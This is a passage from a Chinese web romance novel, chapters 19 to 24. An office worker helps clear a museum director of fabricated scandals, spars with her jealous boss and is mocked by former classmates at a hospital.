江迟鹿一是担心这保安也是程光远的人,根本不会把人送去警察局,二是担心蒋文芳留在这里会想不开.....
警察很快来了,将蒋文芳和冯博都带走了。
剩下的几人中,最明显的是程光远看江迟鹿的眼神,很明显的不对劲。
但他估计昨天晚上傅靳年上去把他揍了一顿,他估计两人关系不菲,傅家在京城说一不二,不是他能得罪的。
“傅总,昨天的事情,我得跟你道个歉,我们之间肯定是有误会。”程光远抬手,“你看我们去个适合的地方,我好好跟你解释解释。”
“不用了。”傅靳年淡垂着眼睫看过去,“你睡你的人,和我没什么关系。”
程光远背后都出了一层汗,这话是警告啊。
要是他昨晚真的对江迟鹿做什么了,恐怕......
“哈哈,傅总放心,我不是没分寸的人。”
江迟鹿握着手机进了洗手间。
还在想傅靳年那句话,和他没什么关系。
他是在撇清昨天晚上的行为吗。
江迟鹿进了隔间,将手机上的录音备份了几份,分别发给自己不同的小号。
最后想了想,又给祁柏言发了一份,让他替自己保管一份。
做完这些,她从洗手间出去。
“去吃饭吧。”傅靳年高冷的一只手插在兜里,看也没看她一眼往外面走。
江迟鹿脑袋转了一圈,周围没其他人了,才确定傅靳年刚刚是在和自己说话,她拿着手机,下意识问,“我跟祁组长说一声。”
前面的人停下,声音发沉,“什么都祁组长,你昨晚找你男朋友跟祁组长说了吗?”
江迟鹿懵,心里忐忑,他怎么这么说,难不成是发现昨天晚上在祁柏言浴室里的人是自己了?
第十九章 耍我玩了一晚上,好玩吗?
“你不是和他很熟吗,吃个饭也要问他。”傅靳年垂下的眼皮透着漫不经心,“问吧,我等着你问,然后我们再一起等他回复,他要是不吃我们也不吃了。”
突然一串的话,配合上他那语气。
江迟鹿顿住,“我以为你的意思是大家一起吃饭......”
傅靳年沉默。
江迟鹿在这沉默中读懂了些什么。
“傅总.....怎么感觉您对祁组长不是那么满意呢,祁组长不是您亲自亲来公司的吗?”
傅靳年盯着她,“没有不满意,我只对你不满意。”
她一僵,垂下眼,心里跟吞了根针似。
“既然这样,我也不是没有眼色的人,我先走了。”
江迟鹿正要走。
傅靳年握住她的手腕,“你到底有没有良心。”
艳阳烈日下,这句话却透着寒气。
江迟鹿抬眼,他又说,“今天我帮着你撒谎骗人,我让你单独请我吃一顿饭,不行?”
“啊?”她反应过来,所以傅靳年刚刚才生气她叫祁柏言他们啊,原来是叫自己请客吃饭,她却误会成了他请所有员工吃饭。
这能不生气吗......
但是也不至于这么生气吧,他能差那点钱,现在不是当上太子爷了吗,还说什么钓他。
“想什么呢?到底请不请。”
“请!”江迟鹿抬手。
她上了傅靳年的车,小心翼翼开口:“那个,不会吃很贵吧?我这还没发工资。”
傅靳年:“.......”
“傅总,你想吃什么?”她试探着问。
傅靳年抬眼看她,“你定吧。”
“要不找个餐馆吃炒菜?”
两个人怎么也就吃两三百,不至于超出太多。
“不如吃麻辣烫?”
江迟鹿眼睛一亮,那预算还能缩到一百,“好啊!麻辣烫好吃!”
她点头,语速极快,生怕他反悔,“我知道这里有一家麻辣烫好吃。”
“指路。”傅靳年嗓音平平。
两人到达了一家麻辣烫店。
里面人已经满了,一个座位也腾不出来。
江迟鹿只能遗憾出来。
傅靳年往旁边看了一眼,“去那吃。”
江迟鹿抬眼一看,见傅靳年往一家西餐厅走去。
她心痛,滴血。
老天爷都不帮着点她,非要她今天散财。
两人一进去,一个服务员拿着菜单走过来。
江迟鹿在心里默默祈祷他别点太贵。
轮到江迟鹿点的时候,她只点了一份意面。
傅靳年抬眼,“没了?”
江迟鹿微笑,“我最近在减肥。”
男人的目光因为她这句话上下打量了她一眼。
他合上菜单递给服务员,又将卡递过去,“刷卡。”
“是。”
江迟鹿睁大眼睛,“啊,不是我请客吗。”
“你请客?你的麻辣烫满座,怎么,你就是现场收购那家店也来不及。”
江迟鹿顿了两秒就反应过来傅靳年这话的意思。
哦,意思是西餐这顿他请客是吧。
江迟鹿笑嘻嘻的,“傅总,我想了想我也不胖,我今天还是不减肥了。”
她从服务员手中拿过菜单。
傅靳年:“.....随便。”
他语气冷然,手撑着下颌看向了窗外。
江迟鹿又点了一份牛排和一份鹅肝。
她关上菜单抬眼时,看到对面男人清晰好看的侧颜,优越的眉骨,高挺的鼻梁,还有那下颌线。
真是帅啊,多看两眼心情都好了。
江迟鹿又一次在心里遗憾,可惜不是她的。
等餐的过程中,江迟鹿拿着手机刷热点。
果然,程光远迫不及待就把录音放了出去。
江迟鹿点开,里面那段录音正是最容易引起误会的那一段。
她不着急放出全部的,毕竟得让热度发酵一下。
江迟鹿看向对面的人,“傅总,你看这个。”
她把手机推过去。
傅靳年看去,录音传出来,是蒋院长的声音。
他抬眼,直直看着江迟鹿。
江迟鹿一愣,“您看我做什么啊。”
“你好像一点也不惊讶。”他幽邃的眼神似是洞穿她。
江迟鹿人都懵了,“我惊讶啊,我在心里惊讶,没表露出来而已。”
傅靳年:“你怎么知道冯博的奶奶早就出院的,还精确时间。”
江迟鹿:“......”
傅靳年盯着她,目不转睛。
“我没来过这里我还知道这里有家好吃的麻辣烫店呢,我听朋友说的,冯老太太的事也是无意间听人说的,这些都不是重点啊,重点是程院长现在故意放出惹人争议的录音。”
“和我有什么关系?”他冷漠道。
“这当然有关系,蒋院长是苏轻奶奶的挚友,也算是苏轻的奶奶,她现在被人诬陷,你就不做点什么?”
她是有录音,但是光以她一个人的力量,这录音发出去说不定还没什么热度就被程院长派人封了,必须有个能和程院长抗衡的人。
傅靳年就很适合。
她以为自己拿苏轻当借口,傅靳年应该很快就会接受帮助蒋院长。
谁知道傅靳年脸色更差了,像一块墨,又冷又沉。
然后她根本不知道这人的脾气从哪里来的。
她默默拿回自己的手机。
还横亘在中间,突然,一只修长骨感的手攥住她手腕。
“你的手机.....怎么这么眼熟。”傅靳年眯起眸子。
他盯着江迟鹿的手机,他记性很好,想起来昨天晚上在祁柏言的沙发上看到的手机。
眸子猝然一冷,“昨天在浴室的人是你?”
这话几乎已是肯定。
江迟鹿整个人懵住。
傅靳年盯着她一脸无措的表情,冷笑,“是你....耍我玩了一晚上,好玩吗?你跟祁柏言......”
“傅总!这事我真不是故意骗你的,我就是去祁组长那洗个澡,我们什么也没做。”
这下好了,赔了夫人又折兵。
“傅总,祁组长他有女朋友啊,我也有男朋友,我俩怎么可能......我就是洗澡的坏了,所以才去......”
对上傅靳年冷冰冰的眼神,她无奈,“好吧,我说实话,其实就是程院长给我塞了名片,我害怕,所以不敢上楼进房间,就......”
第二十章 “.....只要不是和你哥,”
傅靳年脸色越发寒冷,“不敢上楼进房间,就敢进另一个男人的房间?”
他咬牙,“江迟鹿,你有脑子吗。”
“那不然你说我该怎么办,程院长说就算你知道了,也会牺牲掉我,选择公司利益,一起出差的人里面只有祁组长不是你公司的,我当然只有找他了。”
江迟鹿说完,没等来他的声音。
抬起眼睛看到他捏着杯子的指骨发白。
“所以你昨天晚上睡在祁柏言的房间。”
“祁组长人挺好的,把床让给我睡了,他睡得沙发。”
江迟鹿小声说。
男人一声冷笑,“我是不是害得夸你一句看人的眼光好!”
“不用.....”
傅靳年回想昨天晚上,自己像个傻子一样跑上去揍人,打电话听到她说在男朋友那,心情又是何等凄凉,结果她只是在祁柏言那。
一阵冷冽的风带起江迟鹿耳边的碎发,她抬眼,看到面前的人寂寥的背影。
服务员陆陆续续上菜了。
江迟鹿的手机铃声响起。
她拿起手机打开看了一眼,是傅今棠打来的电话。
“小鹿鹿我想你了。”
“有事说事吧。”江迟鹿有气无力的说。
“怎么才这么一天时间你就被你那无良上司摧残成这样了,我告诉你一个特大消息,我刚刚打听到,我哥他现在就在你出差的那个城市!怎么样,要不要考虑换份工作!”
傅今棠继续道:“你要是搞定了我哥,还上这什么破班啊,到时候公司挂个分红,到时候你每天和我喝喝下午茶,无聊了就飞国外旅游.....哪像现在,还受你那无良上司的气。”
江迟鹿:“呵呵,”
她现在就是在受她哥的气。
“不了,我真的搞不定。”江迟鹿拿起叉子咬了一口牛排,眼睛一亮,嗯,好吃,她把傅靳年那份也端到了自己面前。
“你不用搞,我跟你说,我看你第一眼就特别顺眼,我要不是异性恋我就娶你了,虽然我和傅靳年没什么感情,但是我们毕竟都流着同一脉的血,他肯定也喜欢你这种的!再说了,当我嫂子到底有什么不好的,你就先跟他结着,睡腻了想离婚了我帮你,到时候你还能拿财产。”
“停停停......”再说下去她要心动了,“你这是诡辩。”
想到唯一能帮上自己忙的人走了,她试探问傅今棠:“你能帮我个忙吗?”
“什么忙?你遇到什么事了吗”
“倒也不是我遇到事了.....”她略去关键,“我想请你帮我找个厉害点的记者曝光一份录音。”
“可以啊,这不小事一桩。”
江迟鹿脸上刚扬起笑容,听到对面说,“不敢我也有事请你帮忙。”
江迟鹿:“.....只要不是和你哥,”
傅今棠:“就是和我哥,等他回来了,你跟他吃个饭,这总行了吧?”
江迟鹿:“我不去。”
傅今棠:“行,没事我就挂了。”
江迟鹿:“那我说的记者。”
傅今棠:“什么鸡?烤鸡挺好吃的,挂了。”
江迟鹿:“我去......”
傅今棠:“我马上给我的宝贝联系记者。”
江迟鹿用叉子狠狠戳了一下牛肉,渗出一些红色的血,她咬牙道,“必须你陪我一起......”
有傅今棠陪着,他应该不会当场砍了自己。
“......行。”对面答应了。
很快,记者的微信名片被推给了她。
她将录音发了过去。
网上关于蒋院长的争议越来越大。
江迟鹿回博物院时,外面蹲守了一批记者,还有围观群众。
“诶,你是里面的工作人员吗,你知道蒋院长吗?”
江迟鹿都还没走过去,就有一个记者逮住她问。
“我不是,我是外面公司的。”
“你见过蒋院长吗?”
“你有蒋院长的联系方式?”
“蒋院长如今是躲着不敢出来见人吗?”
几个人一窝蜂问她,她冷了脸色:“一切事情都还没调查清楚,还请你们尊重蒋院长。”
江迟鹿没有说蒋院长如今在警察局,怕自己说了到时候越说越乱,指不定传到网上的就是蒋院长已经进去了。
“你这话的意思就是你认为蒋院长压榨下属,剽窃作品没有做错?我们还要认同她?你和蒋院长是一伙的吧。”
“我可没有说压榨下属和剽窃作品没有错,这位记者,你有点职业道德行吗。”
“我看你跟她就是一伙的吧!”有群众站出来手指江迟鹿:
“你肯定知道蒋院长在哪里是不是?我冯博的妈妈,我今天就是要讨一个公道,我儿子寒窗读书二十多年,进到博物院,不被当人看啊!”
面前自称是冯博妈妈的人跑上前,一把抓住她的手,“你把蒋院长叫出来,我今天非要好好问问她,是不是她不结婚不生孩子,就不把别人家的孩子当人了。”
“......”江迟鹿盯着自己手腕上的手,给她攥红了都!
冯博母亲目眦欲裂,“她那种不结婚不生孩子的人就不是什么好人,一点共情能力都没有!自私自利!”
江迟鹿倒吸一口气:“请你放开我。”
“我放开你,你跑了我找谁....”
她一副逮准了江迟鹿不放的眼神。
江迟鹿也不含糊,她摸着自己的脑袋,“我.....”
下一秒直接倒地。
给冯博母亲吓得一跳。
她还爬过去抱住她的腿,“你别跑....”
“你这根本就是碰瓷!我可什么都没做。”
远处一辆黑色迈巴赫停下,车门打开。
傅靳年从里面跑了出来。
“江迟鹿!”他跑过,冲开了周围的人,顿在江迟鹿身边,正要抱人。
看到江迟鹿半睁开一只眼,眨了眨。
傅靳年:“......”
一连上她两次当,傅靳年简直要被自己蠢笑。
他起身,冷着眉看向冯博母亲,“这是我的员工,她和蒋院长没有任何关系,和博物院也没有任何关系。”
傅靳年又看向旁边的记者,“受害者就可以毫无理由地伤害别人了吗?”
第二十一章 “傅总,你喜欢她吗?”
祁柏言刚好从外面吃完饭回来,看到江迟鹿倒在地上,真以为是被人推到了,赶紧跑过去,把人抱起来。
傅靳年转头看到祁柏言把人抱起来,脸色沉了沉。
“鹿鹿.....”祁柏言十分担忧,看向旁边的员工,“打救护车。”
江迟鹿终于装不下去了,“啊,我头疼.....”
她抱住祁柏言脖子,装作头疼的样子贴在他耳边,“别,我装的。”
只是刚才祁柏言直接从她的背面抱她起来,她根本毫无防备,又不可能在这么多人面前暴露。
祁柏言提着的那口气松下去,皱着眉,“你......”
他下意识想斥责两句,想到还有这么多人,看向旁边的傅靳年,“傅总,我先送她去医院检查一下身体情况。”
傅靳年:“我去,你处理一下这里。”
傅靳年已经伸手要从他怀里把人抱出来。
祁柏言抱得紧,眼神看过去,带了一丝戒备,“傅总,还是我去吧。”
他转身让助理帮忙开车。
傅靳年站在那,半空的手落下去,紧盯着祁柏言的背影。
上车后,江迟鹿睁开眼,往窗外看了看,刚松了口气。
脸蛋子被掐住,“你故意倒地上干什么!那么多人,要是不小心踩着你了怎么办!”
她抬头,祁柏言蹙着眉,瞳仁检查她身上,“身上有没有事?”
江迟鹿缩了缩脖子,从他身上下来,坐去旁边,“我没事,一点事没有。”
祁柏言的手从她腰上滑了下来,垂下眼,“要不还是去医院检查一下。”
“真没事。”江迟鹿拍了下他,“对了,今天傅总看到我手机壳猜出昨天晚上的是我,我和他说.....”
江迟鹿其实有些不敢和祁柏言坦白昨天晚上自己去他房间的真正原因。
但是都已经跟傅靳年说了,要是不跟祁柏言对一下,又要完蛋。
于是她告诉了祁柏言昨天晚上去找他的真正原因。
听到一半,祁柏言倒吸了一口气捏住她耳朵,“这么大的事你瞒着我。”
江迟鹿两手摸着自己耳朵,“我错了我真错了,这不是也解决了,我觉得没必要说那么多。”
她睁开眼,看到祁柏言直直盯着她的眼神,缩了下脖子,举起手发誓,“我下次一定说,你可千万别跟我爸妈说!”
祁柏言盯了她好久,眉宇蹙着,最后自己做了两个深呼吸。
江迟鹿不顾危险是他生气的原因之一,他明明都跟她一起上班了,居然还没意识到危险,他生自己的气。
还有一个......
“所以....傅总打了程院长,是为你?”
他看着江迟鹿。
江迟鹿被盯得心虚,“我估计傅总就是人善良,保护下属!”
祁柏言没有再多问,他让助理开车真去了医院一趟,给江迟鹿检查。
江迟鹿拗不过他,想着演戏演全套,说不定现在暗处有记者故意蹲他们呢,就答应了。
在挂号的时间,她拿着手机,如愿看到被推上热搜的全部录音。
江迟鹿的声音铿锵有力。
网络上的舆论一下反转了不少。
她看着几个点赞高的评论。
【太恶心了,前面放删减了录音故意引导网友网暴。】
【如果不是有人放出全部录音,蒋院长恐怕得被骂死。】
【还好里面这个女生正巧去看了冯老太太。】
江迟鹿给傅今棠发了个真棒。
傅今棠哼哼:
【要不要买点水军引导一下,免费赠送你。】
江迟鹿:
【不需要,我们光明正大把他们打趴下。】
现在还有更重要的事情,冯博这件事情只是个导火线。
真正压垮蒋院长的是被诬陷偷换展品。
江迟鹿看向祁柏言,“你帮我个事。”
祁柏言扫她一眼,“这时候知道找我帮忙了,哼,不帮。”
江迟鹿双手合十,眼巴巴的:“哥,求你了!”
“......那,放假了陪我打球。”他提要求。
“行!别说打球了,你把我当球打都行!”
他低笑,“挥不动球拍。”
......
等回到博物院时,江迟鹿迎面跟傅靳年撞上。
他身边有位素材收集师,拿着平板,两人应该是在交流工作上的事。
祁柏言抬眼,视线也精准地透过其他人落在傅靳年身上。
傅靳年率先走了过来,“祁组长,有些事请教你。”
两人单独往安静处走,江迟鹿正要跟过去。
傅靳年侧头,淡淡吐出四个字,“你不着急。”
她瞬间头皮发麻,不着急?意思是等会也要找她。
江迟鹿靠着大柱子转了一圈,急得像轮流等着老师抽背。
傅靳年盯着面前的人,他忍不住问:“你真的有女朋友?”
祁柏言点头,“傅总,我看起来不像有女朋友的人吗?昨天晚上很抱歉骗了你,小江已经跟我说了,你都知道了,我当时瞒着你,也只是为小江的安全和名声着想。”
傅靳年呵笑一声,“你也觉得我是程院长口中的那种人。”
“这倒不是,只是事出有急。”
“那.....你今天跑过去,抱起她叫鹿鹿?”
“傅总,你喜欢她吗?”祁柏言反问。
“没有。”傅靳年垂下眼皮,嗓音冷淡。
“对我来说叫她鹿鹿还是小江都没有任何区别,她毕竟比我小那么多岁,在我这我一直当她是小辈。”
“不过我也有些好奇的问题,既然傅总叫我来聊的都是些和工作无关的,我也想问傅总,您.....似乎对江迟鹿很关心。”他深色瞳孔盯着他。
“有吗?我只是担心我们公司传出什么不好的绯闻,影响公司形象,毕竟你和她都是有男女朋友的人。”傅靳年手插进裤袋,表情很淡然,仿佛真的就是这样而已。
江迟鹿眼见祁柏言离开,她磨蹭地走过去,还是扬起了一个微笑,“傅总。”
“鹿鹿,身体怎么样了?”傅靳年微微眯笑着眼,‘亲切’地关心她。
江迟鹿背后冒一层冷汗,“傅总!我没事!一点事也没有!”
“哦,是吗。”傅靳年勾了勾唇,两手高冷的抄着兜,一步一步逼近她。
第二十二章 打不通江迟鹿电话
她一直在往后退,直到碰到墙壁,退无可退。
傅靳年呵笑一声,“江迟鹿,我真是佩服你。”
他话语里的暗讽显而易见。
江迟鹿表示忍了忍了,不跟他计较。
“今天回京城,最后一顿饭和蒋院长吃,你定地方。”
江迟鹿抬头,“我?”
“订餐你不会?”
江迟鹿点头,“好。”
“靳年。”
苏轻从旁边跑过去,“蒋奶奶让我们晚上留下来一起吃饭。
傅靳年掀了掀眼,“我们?”
苏轻点了点下颌,“你和我。”
这是完全把其他人排除在外了。
江迟鹿却眼色一亮,“那我就少定两个人的位置是吧?”
不用和傅靳年一起吃饭了。
傅靳年却看向苏轻,开口道:“今天晚上是员工聚餐,大家都辛苦了。”
这就是拒绝蒋院长的邀请的意思。
苏轻脸色有些红,“可是,蒋院长是我们这次合作的重要对象,我们马上要离开了,不是应该跟她吃顿饭吗。”
“你是老板我是老板?”傅靳年转身走了,还不忘记乜斜江迟鹿一眼,“定好了吗?”
江迟鹿跟上去,“马上。”
她又不知道这里有些什么合适的餐厅,只有发消息去问傅今棠了。
傅靳年低头看她。
他个子高,很容易就看到了她手机界面,只感觉那个头像有些熟悉。
但是江迟鹿很快就察觉过来关掉了手机。
傅靳年也没多想,只是个头像而已。
她那么着急防范他,搞得好像他偷看一样。
傅靳年拿出手机,看到家族群里有人艾特自己,点进去一看。
傅今棠:
我亲爱的哥哥,等你回京城了,能否陪你的小妹吃一顿饭。
傅靳年下意识蹙眉。
关掉手机。
好像看到了什么脏东西了一样。
后面傅今棠又艾特了他,傅靳年都没有回。
直到傅今棠语气不耐烦问:
你装什么看不见,你是不是看不起我。你作为哥哥陪妹妹吃个饭也不行?
又在后面艾特了爷爷。
傅靳年这才回复了一个字:行。
给傅今棠气得半死。
晚上在一家中餐厅吃饭时。
“祁组长怎么没来吃饭啊?”有人问。
傅靳年开口:“他有点事。”
江迟鹿用筷子戳着碗里的米饭,怎么也想不明白,自己明明安排好了位置,但偏偏,运气就是这么巧,傅靳年就坐她身边了,搞得她吃饭都吃不好。
苏轻坐在对面,那眼神都快要黏在傅靳年身上了。
江迟鹿正低头吃一块排骨,耳边突然传来声音,“程院长的事情,我需要跟你道个歉,不管如何,是我这个当上司没有及时察觉。”
她甚至以为自己梦游听错了,偏头看过去。
傅靳年已经低头自如地吃饭了。
江迟鹿低低‘嗯’了声,夹了一块排骨挡着嘴小声问,“能算工伤报销吗?”
她怕自己和傅靳年说话被苏轻看到,又要误会什么,还特意用排骨挡住。
谁知道傅靳年说话竟然直接贴近凑到她耳边,“能。”
就说这么一个字,还非要挨她这么近,江迟鹿缩着脖子一声不吭了。
傅靳年看她呆样,扯了下嘴角。
“这.....”
还在谈话间,傅靳年的助理拿起手机递给他。
“蒋院长偷换展品,将珍稀的收藏品换成了假的,这事已经上热搜了,而且直接飙到了第一,我们的合作也会受到影响。”
江迟鹿在旁边听着假装意外,“怎么可能。”
大家纷纷拿出手机看。
苏轻皱眉:“蒋奶奶绝对不可能做这种事情。”
江迟鹿双手握着手机,在一旁点头。
傅靳年起身,“你们吃完直接回去,我留下来。”
他没多说什么,带着助理直接出去了。
江迟鹿顿在那,看着他背影消失在门口,没过多久苏轻追了上去。
江迟鹿吐出一口气。
拯救世界这种事就让男女主去做吧。
她唯一能做的也只有让蒋院长活下来。
祁柏言发过来一个OK。
江迟鹿吃饱了才离开,直接打车去找祁柏言了。
等到了地方,江迟鹿才发现这地方是何等荒凉,她看向祁柏言,“你确定这里有人住吗?”
祁柏言点头,“有,我托了好大一圈关系才知道何老先生住在这。”
江迟鹿正要往前,接到了傅靳年的电话。
她接通电话,“喂。”
对面却没有声音。
过了一会儿也依旧没传来声音,她只好挂断。
江迟鹿让祁柏言帮自己找的这位何老先生,正是能为蒋院长证明清白的人。
他虽然住得偏,但极其喜爱字画,当初高价买下了程院长倒卖的字画。
只要找到他,他愿意出来证明,就能证明蒋院长是受程院长诬陷的,程院长才是真正倒卖字画的人。
“应该就是这吧。”两人走了一个多小时,终于看到了一座小院。
院子里几只鸡,一个小鱼塘,打扫得很干净。
“何老先生?”她看着坐在土屋下看鱼的老人。
......
傅靳年又拨了好几次电话给江迟鹿,但都无人接听。
方才都已经上了车,他才想起来自己把助理带走了,也没人结账,便直接给江迟鹿转账了今天的饭钱,可是对方一直没收,他打电话过去,通了却没有声音。
【江迟鹿去哪了?】
他又在公司群里问了其他员工。
他们都表示没有看到江迟鹿。
傅靳年又给祁柏言打电话,依旧打不通。
苏轻站在旁边,“靳年,先处理蒋院长的事情吧。”
傅靳年沉默了一会儿,开口道,“先去博物院。”
博物院外面已经闹成一团了。
这件事情比之前的冯博事件还要严重,围着的记者多了两倍。
“请让蒋院长出来解释,展品的事情到底是怎么回事。”
“是啊,你们拦在外面有什么用,这么大的事情还想糊弄过去?我看你们是蒋院长的同伙吧。”
“还有最近要和博物院合作的公司.....肯定是那些有钱人联合蒋院长一起换的!”
“那边来人了,是傅总。”
傅靳年一下车就被记者看到了,助理挡在前面,他们现在必须要亲自问蒋院长事情真假,再想出对策。
“我记得你!苏轻,之前还在蒋院长的生活照看到过你,你们果然是一伙的!”几个记者朝着苏轻冲了过去。
第二十三章 江迟鹿的男朋友
一群人突然围攻上去,苏轻下意识往后退,一脚踩滑头朝着旁边的花坛撞上去,事情发生只在几秒。
苏轻当场晕了过去,场面一时暂停。
傅靳年让助理将人抱起,直接去了医院。
医院。
在抢救室外的长椅上,江迟鹿低头,自己身上都是泥,狼狈至极,又看了一眼旁边的祁柏言比她没好到哪去。
他们找到何老先生后,何老先生正背着个背筐要上山采蘑菇。
两人要劝何老先生出山,自然是要打好关系,于是就跟了上去。
谁知道何老先生在山上突然心脏病发作,祁柏言背着人要下山找医生。
谁知道何老先生怎么也不愿意下山,说自己就要死在山上。
江迟鹿和祁柏言跟他扯动间,三人抱团一起滚下了山。
“唉......”江迟鹿扣了一块手指甲上干掉的泥巴。
她想过事情会很不顺利,但是没想过这么不顺利。
“你还没吃东西,我去买点吃的,你想吃什么?”祁柏言起身,盯着她问,顺手将她头发上一片枯碎叶弄掉。
“.....想吃淀粉肠了。”
弄一身泥巴,让她想了小时候玩得一身脏,再四五成群去买淀粉肠吃,烫乎乎的,滚一圈辣椒粉。
她咽了咽口水,“我要三根。”
耳边传来了一声轻笑,祁柏言点头,“好,那你在这里等着。”
祁柏言到了医院外面的超市,才发现自己的手机应该是在滚下山的时候掉了。
他正要从口袋摸钱包出来。
耳边突然传来陌生的女音,“欸,你是.....江迟鹿的哥哥?祁柏言?”
祁柏言顿了一下,点头:“你是?”
女人挺着个大肚子,旁边站着一个和她差不多年纪的女人,两人看起来应该是朋友关系。
“你不记得我了啊,我叫叶简心。”她表情有些不自然,眼睛往祁柏言身上看了一圈。
祁柏言一身的泥,怎么看怎么狼狈。
叶简心的朋友笑了一声,“你这是要买什么?一直在外面站着不动。”
“烤肠......”祁柏言回。
叶简心直接开口向老板买了好几根烤肠,递过去:“给你。”
祁柏言顿了一下,原本想拒绝的,想了一下,眼前这人可能是江迟鹿的朋友,人家可能是好意,他开口:“我回头让迟鹿转给你,不好意思,今天钱包掉了。”
叶简心扯着嘴角笑了下,“我请你的,不用了。”
说完,她转身拿了一瓶矿泉水和身边的朋友一起往医院大门走去。
祁柏言让老板先把烤肠热着,他回去找手机,还得联系工作。
杨知夏回头看了一眼,嗤笑,“真没想到,江迟鹿他哥居然能穷成这样,烤肠都买不起,还装清高,把你买的烤肠退回去了呢,还好你当年没追到他,不然就要跟着他过这种苦日子,连买根烤肠都拿不出钱?”
叶简心垂下眼,指腹摸着肚子,似是自言自语,“他现在和江迟鹿在一起了吧.....”
高中的时候,叶简心和江迟鹿玩过一段时间,是叶简心看到过祁柏言给江迟鹿送饭,祁柏言那时候已经快大学毕业了,又高又帅,站在那群每天困得眼睛都睁不开,脸色死白的高中生中格外出挑。
她向江迟鹿打听了情况,得知祁柏言寄住在江迟鹿家里,是她家的远房亲戚,她就和江迟鹿打好了关系。
偶尔祁柏言去看江迟鹿时,给江迟鹿带了什么,也会记得给她带一份,叶简心以为他对自己也有意思,就打算跟他表白。
那天放假,她约了江迟鹿出去玩,路上故意把奶茶撒在了江迟鹿外套上,祁柏言给江迟鹿送完外套就要回去。
叶简心找了个借口,让江迟鹿在奶茶店等她,她则是跟在祁柏言后面,打算单独跟他说。
却听到祁柏言跟好友打电话。
六年过去,她到现在还记得祁柏言的那通电话。
“鹿鹿现在只拿我当哥哥,我有什么办法。”
“早恋?当然怕啊,所以这不是有时间就回来。”
“要是她真有男朋友了.....我就以哥哥的身份等她分手。”
“不过我问了她朋友,她现在没有喜欢的人。”
叶简心那一刻才知道,原来他每次给江迟鹿送吃的,会给自己也带一份只是因为她是江迟鹿的朋友。
而江迟鹿享受着他的喜欢,却可以不做出任何回应。
那天,她没有再去找江迟鹿,直接回了家。
江迟鹿给她发消息打电话她都没有接。
......
杨知夏呵笑了一声,冷嘲热讽“就算在一起了又怎么样,你看看他刚刚的样子,江迟鹿现在肯定没有你过得幸福。”
“好了,你别想太多,先去产检。”杨知夏摸了摸她的肚子,“等会儿你老公不是还要来接你吗,你这一副有心事的样子,小心被他看出来你心里有人!”
叶简心吐出一口气。
两人刚到医院,看到一辆迈巴赫停在车位,里面出来一个穿着西装的男人,抱着一个晕倒过去的女孩。
杨知夏盯着看了一眼,注意力却在那辆车上,“豪车。”
叶简心和杨知夏都多看了一眼,才收回注意力,还没进医院,就在医院门口遇到许久未见的熟人。
江迟鹿正要出去找祁柏言。
何老先生做手术需要联系家属,医院正在联系。
但手术紧急,需要签字缴费马上手术。
她的手机,钱都在包里,包又掉了,于是就下楼打算找祁柏言。
没想到先看到了傅靳年的助理抱着苏轻进医院。
她有些愣,还不知道自己离开的时候发生了什么。
心里在想傅靳年难道也在这里吗。
“江迟鹿?”杨知夏盯着江迟鹿看了一眼,她拉着叶简心走过去,“好巧啊,我们刚刚还在外面遇到你男朋友了呢。”
傅靳年才从车上下来,站在医院门口左侧的灌木丛旁,先是听到有人喊江迟鹿,他停住,又听到后面一句话。
江迟鹿的男朋友......
他目光寻了过去,见江迟鹿一身狼狈,头发丝都染了泥,手臂上似乎还有划伤,他蹙眉,正要过去。
杨知夏笑:“简心,你还应该谢谢江迟鹿呢,要不是她,你现在哪能嫁一个富豪老公,说不定连淀粉肠都吃不起的就是你了。”
叶简心看着江迟鹿,语气倒是不像杨知夏那样刺耳,而是带着温柔刀,“我记得你成绩很好啊,怎么.....没找到好工作?你这样,现在是在种地吗?”
她微笑,“也挺好的,接近大自然。”
第二十四章 这个坏女人不知道骗了他多少次......
江迟鹿低头看了一眼自己身上。
上山的时候何老先生贴心地给了她和祁柏言老头衫、紧身七分裤、老北京布鞋,现在沾上泥,确实像刚插完秧子出来。
杨知夏呵笑,话里带着刺,“难得我们老同学聚在一起,等我陪简心做完产检,等会儿请你和你男朋友吃饭啊?定个米其林,我们好好聚聚。”
江迟鹿语气淡然,“不用了。”
杨知夏又是一笑,“你可能还不知道,我们可有缘分了,刚刚遇到你男朋友买淀粉肠,他.....可能是没钱吧,刚好是简心付的钱。”
江迟鹿闻言,看了一眼叶简心。
她不知道当初自己到底是做错了什么,叶简心突然就不理她了,一句话也不和她说。
那时候对江迟鹿来说最好的朋友就是学校里最亲密的人,她难受了很久,直到后面交到新的朋友,想起前面一段也会忍不住想自己到底做错了什么。
不过现在人长大了,看什么都通透了,那些疑问放到现在,她一点兴趣也没有。
管她是因为什么突然远离自己,她已经退出自己的世界,那就和她毫不相关了。
江迟鹿声音清脆果断,“我说不用了,不是推辞,是跟你们不熟,不想和你们一起吃饭。”
叶简心冷眼盯着她,“不熟?也是,你要是真心拿我当朋友的话,又怎么会把我当小丑看。”
江迟鹿根本不知道她在说什么。
杨知夏嘲讽,“也是,你混成这样,怎么好意思跟我们聚,男朋友连买烤肠的钱都拿不出来。”
这时,跑过来一个护士,看向江迟鹿,“你筹到钱了吗。”
叶简心抬步走过去,盯着江迟鹿,语气淡然,“你需要多少钱?我可以借给你,但是我有一个要求,江迟鹿,你总要为当年的事情跟我道歉吧。”
杨知夏拉住叶简心,“简心,你跟这种人有什么好说的,借钱给她,她也还不起啊,种地一年才能赚多少钱啊。”
杨知夏摸了摸叶简心的肚子,“江迟鹿,高中的同学聚会你没来,你还不知道吧,简心嫁给了唐家长子唐海,唐海跟傅家可是有着层亲戚关系的。”
傅家的名号谁都知道,但凡攀上一丁点关系,人家指缝里露点东西都能让一个家族跻身上流了,要是有亲戚关系就更厉害了。
“老婆,你怎么还在这站着呢,检查完了吗。”唐海从外面跑进来,揽住了叶简心,看得出来还是比较爱护叶简心的。
杨知夏冷笑着开口,“唐总啊,我和简心本来是打算去检查的,但是这不是路上遇到了高中欺负简心的老同学,简心善良又大方,还想着借钱帮他们,只是要她为当年的事情道歉,谁知道他们脸比命重,心比天高。”
唐海蹙眉,“欺负了人不道歉?当初简心胆子小没有靠山你就仗势欺人,我现在要你给她道歉!”
唐海不由分说直接要求江迟鹿道歉,叶简心站在一旁,靠在唐海身边,盯着江迟鹿。
当年的事,终于能报仇了。
不过看到祁柏言和江迟鹿过成这样的那一刻,她的心结其实就已经放下了。
傅靳年看着唐海,眼神平淡,却透着一股似有似无的犀利。
他不打算去帮江迟鹿。
这个坏女人不知道骗了他多少次......
